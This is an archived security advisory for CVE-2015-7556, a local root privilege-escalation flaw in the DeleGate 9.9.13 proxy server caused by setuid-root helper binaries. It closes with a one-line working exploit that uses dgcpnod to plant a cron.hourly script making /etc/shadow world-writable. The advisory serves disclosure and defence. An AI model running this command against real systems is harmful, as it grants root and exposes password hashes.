Exploit the possiblities

DeleGate 9.9.13 Local Root

DeleGate 9.9.13 Local Root
Posted Dec 30, 2015
Authored by Larry W. Cashdollar

Installation of DeleGate version 9.9.13 sets some binaries setuid root and at least one of these binaries can be used to escalate the privileges of a local user. The binary dgcpnod creates a node allowing a local unprivileged user to create files anywhere on disk. By creating a file in /etc/cron.hourly a local user can execute commands as root.

tags | exploit, local, root
advisories | CVE-2015-7556
MD5 | 10da8841db2e338fc2f3452c22c24dae

DeleGate 9.9.13 Local Root

Change Mirror Download
Title: Local root vulnerability in DeleGate v9.9.13
Author: Larry W. Cashdollar, @_larry0
Date: 2015-12-17
Advisory: http://www.vapidlabs.com/advisory.php?v=159
Download Sites: http://delegate.hpcc.jp/delegate/
http://delegate.org/delegate/
Vendor: National Institute of Advanced Industrial Science and Technology
Vendor Notified: 2015-12-17
Vendor Contact: y.sato@delegate.org ysato@etl.go.jp
Description: DeleGate is a multipurpose proxy server which relays
various application protocols on TCP/IP or UDP/IP, including HTTP, FTP,
Telnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and
more. DeleGate mediates communication between servers and clients where
direct communication is impossible, inefficient, or inconvenient.

Vulnerability:
Installation of delegate 9.9.13 sets some binaries setuid root, at least
one of these binaries can be used to escalate the privileges of a local
user. The binary dgcpnod creates a node allowing a local unprivileged
user to create files anywhere on disk. By creating a file in
/etc/cron.hourly a local user can execute commands as root.

Installation of software via source or binary distribution with option
to not run as root results in a script set-subin.sh to run setting the
setuid bit on four binaries. In Linux distributions where this software
is part of the package list these binaries are not setuid root. (archlinux)

From documentation http://www.delegate.org/delegate/newbies-ja.shtml
(translated to english):
Go is included in the binary distribution, or DGROOT that you can build
from the source to the location of preference, and then change the name
if necessary. This is the DgRoot. In addition, if needed, you can rename
the executable file of DeleGate to the name of the preference. This is
the DgExe.
"In Unix version subin in if you want to use "(such as when using a
privileged port), do the following.

(3-2uk) $ cd DgRoot / subin
$ Sh setup-subin.sh

larry@f4ult:~/dg9_9_13/DGROOT/subin$ ls -l
total 1916
-r-sr-s--- 1 root larry 384114 Oct 31 2014 dgbind
-r-sr-s--- 1 root larry 384598 Oct 31 2014 dgchroot
-r-sr-s--- 1 root larry 384161 Oct 31 2014 dgcpnod
-rwxr-xr-x 1 larry larry 384114 Oct 31 2014 dgdate
-rwxr-xr-x 1 larry larry 29066 Oct 31 2014 dgforkpty
-r-sr-s--- 1 root larry 384113 Oct 31 2014 dgpam
-rwxr-x--- 1 larry larry 272 Oct 27 2014 setup-subin.sh

This script sets the setuid bit on four binaries:

larry@f4ult:~/dg9_9_13/DGROOT/subin$ cat setup-subin.sh
#!/bin/sh

SUBINS="dgpam dgbind dgchroot dgcpnod"
sudo sh -c "chown root $SUBINS; chmod 6550 $SUBINS"
if [ $? != 0 ]; then
su root -c "chown root $SUBINS; chmod 6550 $SUBINS"
fi
CVEID: 2015-7556
Exploit Code:
$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme
/etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow'
> /etc/cron.hourly/rootme



Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    8 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close